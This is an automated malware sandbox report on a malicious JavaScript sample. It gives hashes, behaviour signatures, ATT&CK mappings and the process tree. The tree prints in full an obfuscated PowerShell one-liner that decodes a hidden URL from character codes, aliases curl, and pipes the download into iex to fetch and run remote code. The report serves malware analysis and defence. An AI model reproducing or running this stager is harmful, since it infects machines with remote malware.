49efbcec489570b83cb4946cca36487e2237f8248cfe74abedf5cf26f942bcfc

Analysis

max time kernel
95s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:41

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General

Target

1a2b49c861ff2edc24b949b96cfd4024e773d9c4c52f690002f0494bc4bfb8e2.js
Size

221KB
MD5

a204092553829a6c4eb083031956bf75
SHA1

d36399d0bf673b284dbd6776c829843bc2530b47
SHA256

1a2b49c861ff2edc24b949b96cfd4024e773d9c4c52f690002f0494bc4bfb8e2
SHA512

f591d7c5e182dffd9b0c2709a80141592ca2397445c4df636a911ba7d03b15be60b28885ec7c1e3c1e708810986bc4c42e056a4bd5832d51a7e5565a080c61f9
SSDEEP

1536:nwNWlq0pBy8WgeH4rJ0hyI3Tq9Ca4+XqTHDYBy8WgeH4rJ0heI3Tq9Ca4+XqTHDt:nvq0XApj+ADsABj+ADZj+AD+AKAp

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3304	1996	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	428	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
428	powershell.exe
428	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	428	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3304 wrote to memory of 428	3304	conhost.exe	85
PID 3304 wrote to memory of 428	3304	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1a2b49c861ff2edc24b949b96cfd4024e773d9c4c52f690002f0494bc4bfb8e2.js
1⤵
PID:2544

C:\Windows\system32\conhost.exe
conhost --headless powershell $actskihjugfzn='ur' ;new-alias printout c$($actskihjugfzn)l;$zxjmbokdcnwsv=(7307,7318,7326,7310,7312,7307,7327,7326,7331,7264,7326,7260,7307,7255,7325,7320,7321,7256,7258,7255,7321,7313,7321,7272,7324,7270,7318,7314,7319,7325,7324,7259,7258);$ajbwnhzuc=('bronx','get-cmdlet');$lrczafvoiuwet=$zxjmbokdcnwsv;foreach($lmarbu in $lrczafvoiuwet){$shioewjbqzpgf=$lmarbu;$qveyzptb=$qveyzptb+[char]($shioewjbqzpgf-7209);$pkaigmbljznyfh=$qveyzptb; $cbyodthrzlq=$pkaigmbljznyfh};$mzjogayevtpunb[2]=$cbyodthrzlq;$hqdsab='rl';$chktxefdwbap=1;.$([char](9992-9887)+'e'+'x')(printout -useb $cbyodthrzlq)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $actskihjugfzn='ur' ;new-alias printout c$($actskihjugfzn)l;$zxjmbokdcnwsv=(7307,7318,7326,7310,7312,7307,7327,7326,7331,7264,7326,7260,7307,7255,7325,7320,7321,7256,7258,7255,7321,7313,7321,7272,7324,7270,7318,7314,7319,7325,7324,7259,7258);$ajbwnhzuc=('bronx','get-cmdlet');$lrczafvoiuwet=$zxjmbokdcnwsv;foreach($lmarbu in $lrczafvoiuwet){$shioewjbqzpgf=$lmarbu;$qveyzptb=$qveyzptb+[char]($shioewjbqzpgf-7209);$pkaigmbljznyfh=$qveyzptb; $cbyodthrzlq=$pkaigmbljznyfh};$mzjogayevtpunb[2]=$cbyodthrzlq;$hqdsab='rl';$chktxefdwbap=1;.$([char](9992-9887)+'e'+'x')(printout -useb $cbyodthrzlq)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gzjx3wwf.kbu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/428-14-0x00007FFFE0BB0000-0x00007FFFE1671000-memory.dmp

Filesize
10.8MB

Download
memory/428-6-0x0000024C3C990000-0x0000024C3C9B2000-memory.dmp

Filesize
136KB

Download
memory/428-11-0x00007FFFE0BB0000-0x00007FFFE1671000-memory.dmp

Filesize
10.8MB

Download
memory/428-12-0x00007FFFE0BB0000-0x00007FFFE1671000-memory.dmp

Filesize
10.8MB

Download
memory/428-13-0x00007FFFE0BB0000-0x00007FFFE1671000-memory.dmp

Filesize
10.8MB

Download
memory/428-0-0x00007FFFE0BB3000-0x00007FFFE0BB5000-memory.dmp

Filesize
8KB

Download
memory/428-15-0x00007FFFE0BB3000-0x00007FFFE0BB5000-memory.dmp

Filesize
8KB

Download
memory/428-16-0x00007FFFE0BB0000-0x00007FFFE1671000-memory.dmp

Filesize
10.8MB

Download
memory/428-17-0x0000024C551D0000-0x0000024C5531E000-memory.dmp

Filesize
1.3MB

Download
memory/428-18-0x00007FFFE0BB0000-0x00007FFFE1671000-memory.dmp

Filesize
10.8MB

Download
memory/428-22-0x0000024C551D0000-0x0000024C5531E000-memory.dmp

Filesize
1.3MB

Download
memory/428-23-0x00007FFFE0BB0000-0x00007FFFE1671000-memory.dmp

Filesize
10.8MB

Download